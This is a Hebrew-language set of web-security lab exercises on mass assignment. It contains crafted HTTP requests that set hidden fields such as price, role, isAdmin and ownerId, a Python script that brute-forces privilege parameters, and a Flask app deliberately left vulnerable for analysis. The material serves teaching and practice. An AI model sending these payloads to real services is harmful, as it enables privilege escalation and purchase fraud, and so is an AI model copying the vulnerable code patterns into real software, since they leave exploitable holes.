לדלג לתוכן

השמה המונית - Mass Assignment - תרגול

תרגיל 1 - גילוי שדות נסתרים (Apprentice)

רקע:
אפליקציית חנות מקוונת עם API שמחזיר מידע על מוצרים. המטרה: לגלות שדות נסתרים שניתן לשנות ולרכוש מוצר במחיר מופחת.

שלבים:

  1. גשו לדף המוצר ולכדו את הבקשות ב-Burp
  2. מצאו את בקשת ה-API שמחזירה פרטי מוצר:
GET /api/products/1 HTTP/1.1
  1. בדקו את התגובה - האם יש שדות שלא מוצגים בממשק?
  2. נסו לשלוח בקשת PATCH או PUT עם שינוי לשדה הנסתר:
PATCH /api/products/1/cart HTTP/1.1
Content-Type: application/json

{"quantity": 1, "price": 0}
  1. השלימו את הרכישה ובדקו אם המחיר השתנה

תרגיל 2 - הסלמת הרשאות דרך הרשמה (Practitioner)

רקע:
אפליקציה שבה ניתן להירשם כמשתמש רגיל. המטרה: להירשם כאדמין.

שלבים:

  1. בצעו הרשמה רגילה ולכדו את הבקשה ב-Burp:
POST /register HTTP/1.1
Content-Type: application/json

{"username": "test", "email": "test@test.com", "password": "pass123"}
  1. בדקו את פרטי המשתמש שנוצר:
GET /api/me HTTP/1.1
  1. חפשו שדות רגישים בתגובה (כמו role, isAdmin)
  2. נסו להירשם שוב עם שדות נוספים:
POST /register HTTP/1.1
Content-Type: application/json

{"username": "hacker", "email": "h@h.com", "password": "pass123", "role": "admin"}
  1. אם לא עובד, נסו וריאציות:
{"role": "admin"}
{"isAdmin": true}
{"is_admin": true}
{"user_type": "admin"}
{"access_level": "administrator"}
{"permissions": ["admin"]}

תרגיל 3 - הסלמה דרך עדכון פרופיל (Practitioner)

רקע:
אפליקציה שמאפשרת עדכון פרופיל. המטרה: לשנות את ההרשאות שלכם.

שלבים:

  1. התחברו ובצעו עדכון פרופיל רגיל (שינוי שם, למשל)
  2. לכדו את הבקשה:
PUT /api/profile HTTP/1.1
Content-Type: application/json
Cookie: session=abc123

{"name": "New Name"}
  1. הוסיפו פרמטרים נוספים:
PUT /api/profile HTTP/1.1
Content-Type: application/json
Cookie: session=abc123

{"name": "Hacker", "role": "admin", "isVerified": true, "balance": 99999}
  1. בדקו את התגובה ואת פרטי המשתמש - מה השתנה?
  2. נסו לגשת לאזור ההנהלה: /admin

תרגיל 4 - גילוי פרמטרים עם Param Miner (Practitioner)

רקע:
אפליקציה ללא רמזים ברורים לשדות נסתרים. המטרה: לגלות פרמטרים באמצעות כלי אוטומטי.

שלבים:

  1. התקינו את תוסף Param Miner ב-Burp (אם לא מותקן)
  2. לכדו בקשת עדכון פרופיל
  3. הפעילו Param Miner:
  4. לחיצה ימנית על הבקשה
  5. "Extensions" -> "Param Miner" -> "Guess JSON parameters"
  6. בחרו הגדרות:
  7. רשימת מילים: שמות פרמטרים נפוצים
  8. שיטת זיהוי: השוואת תגובות
  9. המתינו לתוצאות וזהו פרמטרים שגורמים לשינוי בתגובה
  10. נסו להשתמש בפרמטרים שנמצאו

רמז: חפשו הבדלים בגודל התגובה, בקוד הסטטוס, או בתוכן.


תרגיל 5 - מניפולציה דרך API (Practitioner)

רקע:
ממשק REST API שמאפשר עדכון משאבים. המטרה: לשנות בעלות על משאב של משתמש אחר.

שלבים:

  1. צרו משאב חדש (למשל, מסמך או פוסט):
POST /api/documents HTTP/1.1
Content-Type: application/json

{"title": "My Document", "content": "Hello World"}
  1. בדקו את התגובה ומצאו שדות כמו ownerId, createdBy:
{
    "id": 42,
    "title": "My Document",
    "content": "Hello World",
    "ownerId": 5,
    "createdBy": 5
}
  1. נסו לשנות את הבעלות:
PUT /api/documents/42 HTTP/1.1
Content-Type: application/json

{"title": "My Document", "ownerId": 1}
  1. האם הצלחתם להפוך את המסמך לשייך למשתמש אחר (למשל, אדמין)?

תרגיל 6 - ניתוח קוד וכתיבת exploit (Expert)

רקע:
לפניכם קוד צד-שרת של מערכת ניהול משתמשים. מצאו את חולשות ההשמה המונית וכתבו exploit.

# Flask application
from flask import Flask, request, jsonify
from flask_sqlalchemy import SQLAlchemy

app = Flask(__name__)
db = SQLAlchemy(app)

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80))
    email = db.Column(db.String(120))
    password_hash = db.Column(db.String(128))
    role = db.Column(db.String(20), default='user')
    is_active = db.Column(db.Boolean, default=True)
    credit = db.Column(db.Float, default=0.0)
    api_key = db.Column(db.String(64))

@app.route('/api/users', methods=['POST'])
def create_user():
    data = request.get_json()
    user = User(**data)  # VULNERABLE
    db.session.add(user)
    db.session.commit()
    return jsonify({'id': user.id, 'username': user.username})

@app.route('/api/users/<int:user_id>', methods=['PUT'])
def update_user(user_id):
    user = User.query.get(user_id)
    for key, value in request.get_json().items():  # VULNERABLE
        setattr(user, key, value)
    db.session.commit()
    return jsonify({'success': True})

@app.route('/api/users/<int:user_id>', methods=['GET'])
def get_user(user_id):
    user = User.query.get(user_id)
    return jsonify({
        'id': user.id,
        'username': user.username,
        'email': user.email,
        'role': user.role,
        'credit': user.credit
    })

משימות:

  1. כתבו בקשת HTTP שיוצרת משתמש עם הרשאות אדמין
  2. כתבו בקשת HTTP שמעלה את היתרה (credit) ל-99999
  3. כתבו בקשת HTTP שמשנה את ה-api_key של משתמש אחר
  4. כתבו גרסה מאובטחת של כל נקודת קצה
  5. הסבירו למה GET /api/users/<id> הוא גם בעייתי (רמז: חשיפת מידע)

תרגיל 7 - אתגר שילוב (Expert)

תרחיש:
אתר מסחר אלקטרוני עם הרשמה, פרופיל, ומערכת הזמנות. יש לכם חשבון משתמש רגיל.

מטרות (לפי סדר):

  1. גלו את מבנה ה-API (בדקו JS, תיעוד, תגובות)
  2. מצאו שדות נסתרים בנקודות הקצה הבאות:
  3. POST /api/register
  4. PUT /api/profile
  5. POST /api/orders
  6. הסלימו הרשאות לאדמין
  7. גשו לפאנל הניהול
  8. שנו מחיר מוצר ורכשו אותו

כלים:
- Burp Suite עם Param Miner
- כלי DevTools של הדפדפן לניתוח JS
- סקריפט Python לאוטומציה:

import requests

base_url = "http://target.com"
session = requests.Session()

# התחברות
session.post(f"{base_url}/login", json={
    "username": "wiener",
    "password": "peter"
})

# ניסיון השמה המונית
params_to_try = [
    'role', 'isAdmin', 'is_admin', 'admin', 'type',
    'level', 'access', 'permissions', 'group', 'tier',
    'verified', 'premium', 'balance', 'credit', 'discount'
]

for param in params_to_try:
    for value in [True, 'admin', 1, 'true']:
        resp = session.put(f"{base_url}/api/profile", json={
            "username": "wiener",
            param: value
        })
        if resp.status_code == 200:
            print(f"[+] {param}={value} -> {resp.text[:100]}")

שאלות:
- איזה פרמטרים מצאתם?
- מה ההבדל בין whitelist ל-blacklist בהגנה?
- למה blacklist פחות בטוח?